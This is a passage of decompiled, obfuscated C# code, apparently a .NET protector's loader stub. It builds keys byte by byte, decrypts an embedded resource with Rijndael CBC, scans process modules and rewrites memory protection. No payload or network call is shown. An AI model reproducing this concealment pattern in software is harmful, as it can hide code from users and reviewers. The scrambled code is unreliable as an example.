numArray6 = (byte[]) ebVKeUQJotY5IdGdNW.\u0031xwk1O5lFoGQJY9VP3(ebVKeUQJotY5IdGdNW.H8HOdg9ZxEDr2eY5KJ((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly));
num2 = 446;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 264;
case 297:
goto label_366;
case 298:
goto label_221;
case 299:
goto label_441;
case 300:
goto label_96;
case 301:
num3 = 74 + 51;
num21 = 376;
continue;
case 302:
num3 = 82 + 73;
num21 = 280;
continue;
case 303:
goto label_286;
case 304:
numArray4[3] = (byte) 106;
num21 = 152;
continue;
case 305:
numArray4[6] = (byte) 46;
num21 = 170;
continue;
case 306:
try
{
IEnumerator enumerator = (IEnumerator) ebVKeUQJotY5IdGdNW.EWoqJfQ5D2h4sxWWmE((object) (ProcessModuleCollection) ebVKeUQJotY5IdGdNW.NoplgwSAMLPsqh6vfi((object) process));
try
{
label_143:
// ISSUE: type reference
do
{
ProcessModule processModule;
int num25;
int num26;
if (ebVKeUQJotY5IdGdNW.qomGGPDA60c5KjlY9Z((object) enumerator))
{
processModule = (ProcessModule) ebVKeUQJotY5IdGdNW.cuBWthAc1ZsRfkEQuq((object) enumerator);
num25 = 5;
}
else
{
num26 = 7;
goto label_150;
}
label_148:
int num27 = num25;
label_149:
num26 = num27;
label_150:
while (true)
{
switch (num26)
{
case 0:
case 3:
goto label_139;
case 1:
if (num8 >= ebVKeUQJotY5IdGdNW.dWSgRxogR2hxpkZcPr((object) processModule).ToInt64())
{
num27 = 2;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_149;
else
goto case 2;
}
else
goto label_139;
case 2:
if (num8 <= ebVKeUQJotY5IdGdNW.dWSgRxogR2hxpkZcPr((object) processModule).ToInt64() + (long) ebVKeUQJotY5IdGdNW.i0kS7bFnqxtgJcdAAk((object) processModule))
goto label_143;
else
break;
case 4:
goto label_495;
case 5:
goto label_141;
case 6:
goto label_487;
case 7:
goto label_157;
}
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
num26 = 6;
else
goto label_152;
}
label_139:
continue;
label_141:
if (ebVKeUQJotY5IdGdNW.PmxnMNfU3VIuoCjecS(ebVKeUQJotY5IdGdNW.Nor5Kj8f9JNJxqyjpX((object) processModule), (object) str1))
{
num25 = 1;
goto label_148;
}
else
continue;
label_152:
num27 = 0;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_149;
else
goto label_157;
}
while (ebVKeUQJotY5IdGdNW.\u0037h8dKB7JHZfd1qf2To((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) == null);
return;
label_487:
return;
label_495:
return;
}
finally
{
if (enumerator is IDisposable disposable)
ebVKeUQJotY5IdGdNW.\u0038LtoaePALeeU9V4Jfp((object) disposable);
}
}
catch
{
}
label_157:
try
{
IEnumerator enumerator = (IEnumerator) ebVKeUQJotY5IdGdNW.EWoqJfQ5D2h4sxWWmE((object) (ProcessModuleCollection) ebVKeUQJotY5IdGdNW.NoplgwSAMLPsqh6vfi((object) process));
try
{
label_160:
ProcessModule processModule;
int num28;
int num29;
if (ebVKeUQJotY5IdGdNW.qomGGPDA60c5KjlY9Z((object) enumerator))
{
processModule = (ProcessModule) ebVKeUQJotY5IdGdNW.cuBWthAc1ZsRfkEQuq((object) enumerator);
num28 = 0;
if (false)
goto label_172;
}
else
{
num29 = 6;
goto label_166;
}
label_165:
num29 = num28;
label_166:
IntPtr num30;
switch (num29)
{
case 0:
num30 = ebVKeUQJotY5IdGdNW.dWSgRxogR2hxpkZcPr((object) processModule);
num28 = 1;
goto label_165;
case 1:
if (num30.ToInt64() != ebVKeUQJotY5IdGdNW.\u0033qiRntTf2)
goto label_160;
else
break;
case 2:
case 4:
num11 = 0;
goto label_172;
case 3:
case 5:
case 6:
goto label_172;
}
num28 = ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9() ? 5 : 4;
goto label_165;
}
finally
{
if (enumerator is IDisposable disposable)
ebVKeUQJotY5IdGdNW.\u0038LtoaePALeeU9V4Jfp((object) disposable);
}
}
catch
{
}
label_172:
ebVKeUQJotY5IdGdNW.p1ce5FDX3 = (ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm) null;
num21 = 191;
continue;
case 307:
goto label_403;
case 308:
int64 = num24.ToInt64();
num2 = 244;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto case 344;
else
goto label_29;
case 309:
goto label_243;
case 310:
goto label_296;
case 311:
numArray1[2] = (byte) num3;
num2 = 302;
if (true)
goto label_29;
else
goto case 413;
case 312:
goto label_342;
case 313:
ebVKeUQJotY5IdGdNW.ud76QUgni(num5, 4, 4, ref num12);
num2 = 426;
if (true)
goto label_29;
else
goto case 116;
case 314:
goto label_214;
case 315:
goto label_360;
case 316:
goto label_109;
case 317:
goto label_318;
case 318:
goto label_315;
case 319:
numArray1[1] = (byte) (218 - 72);
num21 = 268;
continue;
case 320:
goto label_239;
case 321:
numArray1[20] = (byte) (32 + 115);
num2 = 173;
if (true)
goto label_29;
else
goto case 27;
case 322:
goto label_499;
case 323:
num3 = 18 + 98;
num21 = 290;
continue;
case 324:
goto label_58;
case 325:
numArray1[7] = (byte) (16 + 42);
num21 = 366;
continue;
case 326:
num6 = 115 + 65;
num21 = 406;
continue;
case 327:
goto label_432;
case 328:
goto label_51;
case 329:
goto label_113;
case 330:
goto label_341;
case 331:
goto label_100;
case 332:
goto label_306;
case 333:
numArray3[5] = (byte) 116;
num2 = 124;
if (true)
goto label_29;
else
goto case 104;
case 334:
num3 = 69 + 76;
num21 = 140;
continue;
case 336:
goto label_259;
case 337:
goto label_19;
case 338:
numArray5[7] = numArray6[3];
num2 = 126;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_29;
else
goto case 430;
case 339:
goto label_86;
case 340:
goto label_519;
case 341:
goto label_88;
case 342:
goto label_123;
case 343:
num6 = 89 + 18;
num21 = 393;
continue;
case 344:
num6 = 156 - 52;
num21 = 100;
continue;
case 345:
numArray1[14] = (byte) num3;
num21 = 135;
continue;
case 346:
goto label_383;
case 347:
goto label_269;
case 348:
numArray2[3] = (byte) (101 + 40);
num21 = 0;
continue;
case 349:
goto label_177;
case 350:
goto label_273;
case 351:
numArray2[8] = (byte) num6;
num21 = 428;
continue;
case 352:
goto label_345;
case 353:
goto label_281;
case 354:
if (flag)
{
num21 = 229;
continue;
}
ebVKeUQJotY5IdGdNW.kGOIADEgPtl2ivfJXa(num13, index);
num2 = 374;
if (true)
goto label_29;
else
goto case 88;
case 355:
num3 = 115 - 50;
num2 = 274;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 36;
case 356:
goto label_279;
case 357:
numArray1[30] = (byte) (87 + 103);
num21 = 404;
continue;
case 358:
goto label_522;
case 359:
goto label_312;
case 360:
numArray1[0] = (byte) (85 + 124);
num21 = 252;
continue;
case 361:
goto label_179;
case 362:
ebVKeUQJotY5IdGdNW.V6r5cOLscD9LGMn5Wt((object) rijndaelManaged, CipherMode.CBC);
num2 = 189;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto case 397;
else
goto label_29;
case 363:
goto label_486;
case 364:
goto label_204;
case 365:
goto label_64;
case 366:
goto label_40;
case 367:
numArray1[1] = (byte) num3;
num21 = 319;
continue;
case 368:
numArray1[8] = (byte) num3;
num21 = 228;
continue;
case 369:
goto label_455;
case 370:
numArray1[4] = (byte) (102 + 49);
num21 = 282;
continue;
case 371:
num6 = 54 + 121;
num21 = 172;
continue;
case 372:
if (numArray6.Length > 0)
{
num2 = 422;
if (true)
goto label_29;
else
goto case 130;
}
else
goto label_521;
case 373:
num19 = ebVKeUQJotY5IdGdNW.w7GMfihdFpoL5rs6Ut((object) mttKdN6ssv7t5XcD4h);
num2 = 394;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_29;
else
goto case 51;
case 376:
goto label_215;
case 377:
goto label_78;
case 378:
goto label_188;
case 379:
goto label_272;
case 380:
num6 = 94 + 14;
num21 = 234;
continue;
case 381:
numArray1[27] = (byte) (240 - 80);
num21 = 57;
continue;
case 382:
goto label_104;
case 383:
goto label_79;
case 384:
numArray1[31] = (byte) (235 - 118);
num2 = 99;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto case 27;
else
goto label_29;
case 385:
goto label_82;
case 386:
goto label_433;
case 387:
// ISSUE: type reference
num24 = ebVKeUQJotY5IdGdNW.DuJHwUcIsQLOWZZPRt(ebVKeUQJotY5IdGdNW.u0IdUaK9o7Dpxr84aL((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)[0]);
num21 = 308;
continue;
case 388:
goto label_372;
case 389:
goto label_511;
case 390:
goto label_55;
case 391:
num3 = 251 - 83;
num21 = 84;
continue;
case 392:
goto label_447;
case 393:
goto label_132;
case 394:
goto label_255;
case 395:
goto label_521;
case 396:
goto label_20;
case 397:
numArray1[23] = (byte) num3;
num21 = 327;
continue;
case 398:
num9 = IntPtr.Zero;
num21 = 111;
continue;
case 399:
goto label_224;
case 400:
goto label_197;
case 401:
goto label_66;
case 402:
goto label_513;
case 403:
goto label_316;
case 404:
goto label_431;
case 405:
goto label_194;
case 406:
goto label_461;
case 407:
goto label_198;
case 408:
numArray1[20] = (byte) num3;
num21 = 102;
continue;
case 409:
goto label_424;
case 410:
numArray1[24] = (byte) (161 - 53);
num21 = 317;
continue;
case 411:
goto label_329;
case 412:
goto label_217;
case 413:
// ISSUE: type reference
if (ebVKeUQJotY5IdGdNW.A0tg0GHSKbNZWZDBKy(ebVKeUQJotY5IdGdNW.\u0037h8dKB7JHZfd1qf2To((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)).Length == 2)
{
num2 = 233;
if (true)
goto label_29;
else
goto case 5;
}
else
goto label_394;
case 414:
goto label_326;
case 415:
goto label_302;
case 416:
goto label_404;
case 417:
goto label_81;
case 418:
num8 = 0L;
num21 = 201;
continue;
case 419:
goto label_47;
case 420:
goto label_311;
case 421:
goto label_331;
case 422:
goto label_451;
case 423:
numArray2[1] = (byte) num6;
num21 = 85;
continue;
case 424:
numArray1[16] = (byte) (177 - 59);
num21 = 54;
continue;
case 425:
numArray1[9] = (byte) (49 + 82);
num21 = 26;
continue;
case 426:
goto label_384;
case 427:
numArray1[29] = (byte) num3;
num21 = 323;
continue;
case 428:
goto label_448;
case 429:
goto label_388;
case 430:
case 445:
// ISSUE: method pointer
ebVKeUQJotY5IdGdNW.SEHaMAJBA = new ebVKeUQJotY5IdGdNW.SivK3olD9hSEufJ6Bm((object) null, __methodptr(DvYigmja2));
num2 = 398;
if (true)
goto label_29;
else
goto case 90;
case 431:
goto label_260;
case 432:
goto label_34;
case 433:
numArray2[4] = (byte) num6;
num2 = 380;
if (true)
goto label_29;
else
goto case 92;
case 434:
goto label_392;
case 435:
numArray1[27] = (byte) (102 + 52);
num21 = 381;
continue;
case 436:
goto label_3;
case 437:
goto label_354;
case 438:
numArray1[30] = (byte) num3;
num21 = 357;
continue;
case 439:
goto label_4;
case 440:
goto label_338;
case 441:
num6 = 201 - 67;
break;
case 442:
goto label_196;
case 443:
numArray1[2] = (byte) (124 + 14);
num2 = 58;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_29;
else
goto case 447;
case 444:
goto label_339;
case 446:
if (numArray6 != null)
{
num2 = 372;
if (true)
goto label_29;
else
goto case 160;
}
else
goto label_521;
case 447:
numArray1[29] = (byte) (104 + 101);
num2 = 151;
if (true)
goto label_29;
else
goto case 384;
case 448:
numArray3 = new byte[6];
num21 = 160;
continue;
case 449:
goto label_22;
case 450:
goto label_131;
case 451:
goto label_393;
}
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
num21 = 375;
else
goto label_381;
}
label_33:
numArray4[5] = (byte) 116;
num2 = 305;
continue;
label_34:
numArray1[20] = (byte) num3;
num2 = 265;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
continue;
label_35:
numArray2[14] = (byte) (225 - 75);
num2 = 307;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
continue;
label_36:
numArray2[1] = (byte) num6;
num2 = 97;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
continue;
label_37:
numArray2[3] = (byte) (90 + 122);
num1 = 348;
goto label_28;
label_38:
num12 = 0;
num2 = 195;
continue;
label_39:
num3 = 13 + 43;
num2 = 432;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
continue;
label_40:
numArray1[7] = (byte) (114 - 14);
num1 = 178;
goto label_28;
label_41:
numArray1[17] = (byte) (118 + 48);
num1 = 431;
goto label_28;
label_45:
binaryReader = new BinaryReader((Stream) new MemoryStream(buffer));
num2 = 211;
continue;
label_47:
numArray1[3] = (byte) num3;
num2 = 389;
continue;
label_48:
numArray2[9] = (byte) (160 - 53);
num1 = 18;
goto label_28;
label_51:
numArray4[1] = (byte) 115;
num2 = 291;
continue;
label_52:
numArray1[3] = (byte) num3;
num1 = 35;
goto label_28;
label_53:
numArray2[15] = (byte) num6;
num2 = 275;
continue;
label_55:
num3 = 120 + 5;
num1 = 10;
goto label_28;
label_57:
ebVKeUQJotY5IdGdNW.ufjDNIIUq[index] = int64 + (long) num22;
num1 = 235;
goto label_28;
label_58:
num3 = 122 + 120;
num1 = 289;
goto label_28;
label_59:
ebVKeUQJotY5IdGdNW.ECL41OuLi0T8KD1Ax9((object) cryptoStream, (object) numArray7, 0, numArray7.Length);
num1 = 209;
goto label_28;
label_61:
ebVKeUQJotY5IdGdNW.CiA14IrD3NVsKgRZVG(new IntPtr(num7), num9);
num1 = 20;
goto label_28;
label_62:
numArray1[6] = (byte) num3;
num1 = 69;
goto label_28;
label_63:
numArray3[4] = (byte) 105;
num2 = 333;
continue;
label_64:
numArray2[9] = (byte) (32 + 117);
num2 = 240;
continue;
label_65:
numArray2[9] = (byte) num6;
num1 = 365;
goto label_28;
label_66:
numArray1[25] = (byte) (99 + 0);
num1 = 159;
goto label_28;
label_67:
numArray2[11] = (byte) (117 + 33);
num1 = 326;
goto label_28;
label_75:
num3 = 150 - 75;
num1 = 1;
goto label_28;
label_77:
numArray4[8] = (byte) 108;
num1 = 167;
goto label_28;
label_78:
numArray1[20] = (byte) num3;
num1 = 321;
goto label_28;
label_79:
numArray1[7] = (byte) (149 - 49);
num2 = 325;
continue;
label_80:
ebVKeUQJotY5IdGdNW.hNfjH4VW7 = true;
num2 = 56;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
continue;
label_81:
numArray4[3] = (byte) 111;
num1 = 369;
goto label_28;
label_82:
num3 = 237 - 79;
num2 = 33;
continue;
label_86:
index -= 1879048192;
num1 = 139;
goto label_28;
label_87:
numArray1[8] = (byte) (208 + 18);
num2 = 334;
if (true)
continue;
label_88:
numArray2[5] = (byte) (86 + 84);
num2 = 190;
continue;
label_90:
num3 = 33 - 15;
num2 = 353;
continue;
label_96:
num3 = 250 - 83;
num2 = 80;
if (true)
continue;
label_97:
numArray1[21] = (byte) (101 + 40);
num1 = 267;
goto label_28;
label_98:
numArray4[4] = (byte) 105;
num1 = 108;
goto label_28;
label_99:
numArray1[13] = (byte) num3;
num2 = 281;
continue;
label_517:
if (ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli() == 4)
{
num1 = 21;
goto label_28;
}
else
goto label_25;
}
while (true);
label_100:
numArray1[12] = (byte) num3;
num1 = 320;
goto label_28;
label_104:
numArray2[7] = (byte) (25 + 62);
num1 = 221;
goto label_28;
label_107:
numArray1[19] = (byte) (185 - 61);
num1 = 143;
goto label_28;
label_109:
numArray1[28] = (byte) num3;
num1 = 421;
goto label_28;
label_111:
num1 = 133;
goto label_28;
label_112:
num11 = 0;
num1 = 128;
goto label_28;
label_113:
numArray2[12] = (byte) num6;
num2 = 288;
if (true)
continue;
label_114:
ebVKeUQJotY5IdGdNW.ufjDNIIUq = new long[ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader)];
num1 = 29;
goto label_28;
label_115:
numArray1[23] = (byte) num3;
num2 = 294;
continue;
label_117:
num6 = 169 + 9;
num1 = 318;
goto label_28;
label_123:
numArray1[8] = (byte) num3;
num1 = 90;
goto label_28;
label_129:
flag = false;
num2 = 315;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
continue;
label_130:
num3 = 200 - 110;
num1 = 92;
goto label_28;
label_131:
numArray1[20] = (byte) (128 - 42);
num2 = 378;
if (true)
continue;
label_132:
numArray2[11] = (byte) num6;
num2 = 272;
continue;
label_173:
index = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader);
num2 = 156;
continue;
label_175:
numArray2[2] = (byte) (164 + 18);
num1 = 196;
goto label_28;
label_177:
num6 = 240 - 80;
num1 = 118;
goto label_28;
label_178:
ebVKeUQJotY5IdGdNW.nBxmIDYt8Eeo843WGT((object) binaryReader);
num2 = (int) sbyte.MaxValue;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_422;
else
continue;
label_179:
num3 = 103 - 28;
num1 = 412;
goto label_28;
label_182:
ebVKeUQJotY5IdGdNW.gIeSg3usw[index] = numArray8;
num1 = 2;
goto label_28;
label_183:
numArray2[10] = (byte) (71 + 75);
num1 = 262;
goto label_28;
label_184:
numArray2[5] = (byte) (219 - 73);
num1 = 207;
goto label_28;
label_188:
num3 = 137 - 45;
num1 = 377;
goto label_28;
label_189:
num6 = 35 + 15;
num1 = 109;
goto label_28;
label_191:
ebVKeUQJotY5IdGdNW.xm3sCgZLslZ69UwNk6((object) cryptoStream);
num2 = 46;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_336;
else
continue;
label_193:
numArray1[18] = (byte) num3;
num1 = 279;
goto label_28;
label_194:
numArray1[2] = (byte) num3;
num1 = 443;
goto label_28;
label_196:
numArray4[1] = (byte) 108;
num2 = 16;
if (true)
continue;
label_197:
numArray4[0] = (byte) 109;
num2 = 328;
if (true)
continue;
label_198:
numArray1[18] = (byte) num3;
num1 = 119;
goto label_28;
label_199:
numArray5[13] = numArray6[6];
num2 = 336;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_497;
else
continue;
label_201:
num3 = 0 + 112;
num2 = 28;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_246;
else
continue;
label_204:
numArray2[6] = (byte) (145 - 48);
num1 = 449;
goto label_28;
label_210:
numArray1[17] = (byte) (242 - 80);
num2 = 137;
continue;
label_213:
num3 = 140 - 46;
num2 = 295;
if (true)
continue;
label_214:
numArray1[29] = (byte) num3;
num1 = 258;
goto label_28;
label_215:
numArray1[26] = (byte) num3;
num1 = 63;
goto label_28;
label_217:
numArray1[23] = (byte) num3;
num2 = 332;
continue;
label_218:
// ISSUE: type reference
if (ebVKeUQJotY5IdGdNW.lMhZFRvecwWyaFYrWS(ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)) == 0)
{
num2 = 19;
if (true)
continue;
goto label_520;
}
else
goto label_309;
label_220:
numArray1[24] = (byte) num3;
num1 = 226;
goto label_28;
label_221:
numArray2[13] = (byte) (187 - 81);
num1 = 44;
goto label_28;
label_224:
numArray1[16] = (byte) (23 + 81);
num1 = 6;
goto label_28;
label_225:
numArray3[2] = (byte) 116;
num2 = 416;
continue;
label_226:
if (ebVKeUQJotY5IdGdNW.dfoOvTR9jJFyJTjZaA(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader)) >= ebVKeUQJotY5IdGdNW.UMa5aIgtbxKxnsdoDP(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader)) - 1L)
{
// ISSUE: type reference
num18 = ebVKeUQJotY5IdGdNW.DuJHwUcIsQLOWZZPRt(ebVKeUQJotY5IdGdNW.u0IdUaK9o7Dpxr84aL((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)[0]);
num1 = 131;
goto label_28;
}
else
{
num1 = 245;
goto label_28;
}
label_231:
numArray1[17] = (byte) (73 + 95);
num2 = 66;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
continue;
label_232:
IntPtr zero = IntPtr.Zero;
num2 = 15;
if (true)
continue;
label_233:
num3 = 87 + 92;
num1 = 342;
goto label_28;
label_234:
numArray1[1] = (byte) (21 + 10);
num2 = 388;
continue;
label_235:
num3 = 172 - 57;
num1 = 440;
goto label_28;
label_238:
numArray2[0] = (byte) num6;
num1 = 67;
goto label_28;
label_239:
numArray1[12] = (byte) (184 - 72);
num2 = 266;
continue;
label_241:
num8 = (long) ebVKeUQJotY5IdGdNW.V0Kb1AVog1g4idDljV(new IntPtr(num7));
num1 = 155;
goto label_28;
label_243:
flag = true;
num1 = 339;
goto label_28;
label_244:
numArray2[12] = (byte) num6;
num2 = 144;
if (true)
continue;
label_245:
num6 = 60 + 9;
num1 = 117;
goto label_28;
label_246:
numArray1[11] = (byte) num3;
num1 = 3;
goto label_28;
label_249:
numArray2[9] = (byte) (161 + 1);
num1 = 349;
goto label_28;
label_252:
try
{
ebVKeUQJotY5IdGdNW.cTgYw5i8ngOAZcwBuX(true);
}
catch
{
}
// ISSUE: type reference
binaryReader = new BinaryReader((Stream) ebVKeUQJotY5IdGdNW.xZ7O9IpO5b2C1lKA4S((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly, (object) "312a0367-69cb-4530-8455-a08a514bb657"));
num1 = 310;
goto label_28;
label_255:
num7 = 0L;
num2 = 193;
continue;
label_256:
numArray1[6] = (byte) (194 - 64);
num1 = 77;
goto label_28;
label_257:
numArray1[2] = (byte) num3;
num2 = 158;
if (true)
continue;
label_258:
numArray1[22] = (byte) (211 - 70);
num2 = 4;
continue;
label_311:
num6 = 58 + 95;
num2 = 123;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_224;
else
continue;
label_366:
buffer = (byte[]) ebVKeUQJotY5IdGdNW.l3AnmInlhQ3JBvmuC6((object) memoryStream);
num2 = 153;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
continue;
label_367:
numArray2[11] = (byte) num6;
num2 = 154;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_107;
else
continue;
label_394:
try
{
int num31 = (int) ebVKeUQJotY5IdGdNW.SEHaMAJBA(ref num16, IntPtr.Zero, IntPtr.Zero, 216679565U, ref zero, ref num20);
}
catch
{
}
ebVKeUQJotY5IdGdNW.Ddd7QgGlp = false;
num2 = 218;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_210;
else
continue;
label_420:
// ISSUE: type reference
if (ebVKeUQJotY5IdGdNW.lMhZFRvecwWyaFYrWS(ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly)) <= 0)
goto label_394;
else
goto label_421;
label_519:
memoryStream = new MemoryStream();
num2 = 8;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_213;
}
while (true);
label_259:
numArray5[15] = numArray6[7];
num1 = 395;
goto label_28;
label_260:
numArray1[17] = (byte) (201 - 67);
num1 = 64;
goto label_28;
label_261:
numArray1[5] = (byte) (132 - 44);
num1 = 350;
goto label_28;
label_263:
numArray2[0] = (byte) num6;
num1 = 214;
goto label_28;
label_269:
numArray1[3] = (byte) (111 + 34);
num1 = 30;
goto label_28;
label_271:
numArray1[21] = (byte) num3;
num1 = 161;
goto label_28;
label_272:
numArray2[2] = (byte) num6;
num1 = 11;
goto label_28;
label_273:
num3 = 13 + 113;
num1 = 278;
goto label_28;
label_279:
numArray1[5] = (byte) (233 - 77);
num2 = 391;
continue;
label_281:
numArray1[11] = (byte) num3;
num1 = 396;
goto label_28;
label_284:
num3 = 73 + 0;
num1 = 419;
goto label_28;
label_286:
num3 = 40 + 58;
num2 = 171;
continue;
label_294:
numArray1[22] = (byte) (253 - 84);
num1 = 149;
goto label_28;
label_296:
ebVKeUQJotY5IdGdNW.qtw6Y63n394PWtw1Qd(ebVKeUQJotY5IdGdNW.\u0039slFhO6Zyjqu52QWgD((object) binaryReader), 0L);
num2 = 363;
if (true)
continue;
label_297:
numArray4[11] = (byte) 108;
num1 = 358;
goto label_28;
label_299:
numArray1[21] = (byte) (68 + 69);
num2 = 17;
continue;
label_300:
numArray4[10] = (byte) 108;
num1 = 37;
goto label_28;
label_301:
numArray1[2] = (byte) (205 - 68);
num2 = 41;
if (true)
continue;
label_302:
numArray1[25] = (byte) (123 - 13);
num1 = 434;
goto label_28;
label_304:
numArray2[3] = (byte) num6;
num2 = 371;
if (ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
goto label_464;
else
continue;
label_305:
numArray1[23] = (byte) num3;
num1 = 361;
goto label_28;
label_306:
num3 = 151 - 50;
num2 = 292;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_1;
else
continue;
label_307:
numArray1[21] = (byte) num3;
num2 = 203;
continue;
label_308:
num3 = 35 + 42;
num1 = 314;
goto label_28;
label_309:
num17 = ebVKeUQJotY5IdGdNW.\u00351DIJQmesbhUfvgWNY((object) binaryReader);
num1 = 150;
goto label_28;
label_310:
numArray1[19] = (byte) num3;
num2 = 237;
continue;
label_312:
num6 = 113 + 86;
num1 = 423;
goto label_28;
label_314:
ebVKeUQJotY5IdGdNW.\u0033qiRntTf2 = num18.ToInt64();
num2 = 271;
continue;
label_315:
numArray2[15] = (byte) num6;
num1 = 403;
goto label_28;
label_316:
numArray5 = numArray2;
num2 = 296;
continue;
label_317:
numArray1[26] = (byte) num3;
num2 = 301;
continue;
label_318:
num3 = 82 + 89;
num1 = 216;
goto label_28;
label_321:
num3 = 62 - 13;
num2 = 52;
continue;
label_326:
ebVKeUQJotY5IdGdNW.c1Gltw8uY = ebVKeUQJotY5IdGdNW.rx60T8kvEcMcO814fs(ebVKeUQJotY5IdGdNW.\u0033qiRntTf2);
num1 = 322;
goto label_28;
label_327:
num6 = 217 - 72;
num2 = 433;
if (!ebVKeUQJotY5IdGdNW.NrhvSeObFe31xAtxR9())
continue;
label_328:
numArray2[5] = (byte) (44 + 97);
num2 = 386;
if (true)
continue;
label_329:
numArray1[5] = (byte) (52 + 123);
num1 = 95;
goto label_28;
label_330:
numArray1[9] = (byte) (211 - 70);
num2 = 425;
continue;
label_331:
num3 = 191 - 63;
num1 = 202;
goto label_28;
label_332:
num3 = 169 + 47;
num2 = 72;
continue;
label_333:
ebVKeUQJotY5IdGdNW.ud76QUgni(new IntPtr(num7), ebVKeUQJotY5IdGdNW.ADNsbrNwBBGFe0rAli(), 4, ref num14);
num1 = 230;
goto label_28;
label_335:
num3 = 229 - 76;
num2 = 316;
continue;
label_336:
numArray5[9] = numArray6[4];
num2 = 112;
continue;
label_337:
numArray2[0] = (byte) (157 - 52);
num2 = 141;
continue;
label_338:
numArray1[6] = (byte) num3;
num2 = 115;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
continue;
label_339:
numArray2[2] = (byte) (16 + 52);
num1 = 286;
goto label_28;
label_341:
numArray1[26] = (byte) num3;
num1 = 300;
goto label_28;
label_342:
num3 = 113 + 48;
num2 = 194;
if (!ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
goto label_375;
else
continue;
label_345:
numArray1[13] = (byte) (40 + 110);
num1 = 36;
goto label_28;
label_349:
num11 = 7168;
num2 = 277;
continue;
label_352:
numArray2[9] = (byte) (184 - 61);
num2 = 106;
if (true)
continue;
label_353:
num7 = (long) ebVKeUQJotY5IdGdNW.V0Kb1AVog1g4idDljV(num19);
num2 = 430;
continue;
label_369:
num3 = 12 + 69;
num2 = 177;
if (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN())
continue;
label_370:
// ISSUE: type reference
if (ebVKeUQJotY5IdGdNW.DSeHdiqqaYUJ82ElSX((object) ebVKeUQJotY5IdGdNW.BXNWa8Ct5VGQVcTJjB(__typeref (ebVKeUQJotY5IdGdNW)).Assembly) == null)
goto label_349;
else
goto label_371;
}
while (ebVKeUQJotY5IdGdNW.iJn4kY0oJpRAixFuwN());
goto label_354;
label_19:
num3 = 251 - 83;
num2 = 40;
if (true)
continue;
label_20:
numArray1[12] = (byte) (121 + 121);
num2 = 125;
if (true)
continue;
label_21:
numArray2[0] = (byte) (169 - 85);
num2 = 162;
}
while (true);
goto label_22;
label_354:
numArray1[28] = (byte) num3;
num1 = 24;
goto label_28;
label_359:
num6 = 70 + 68;
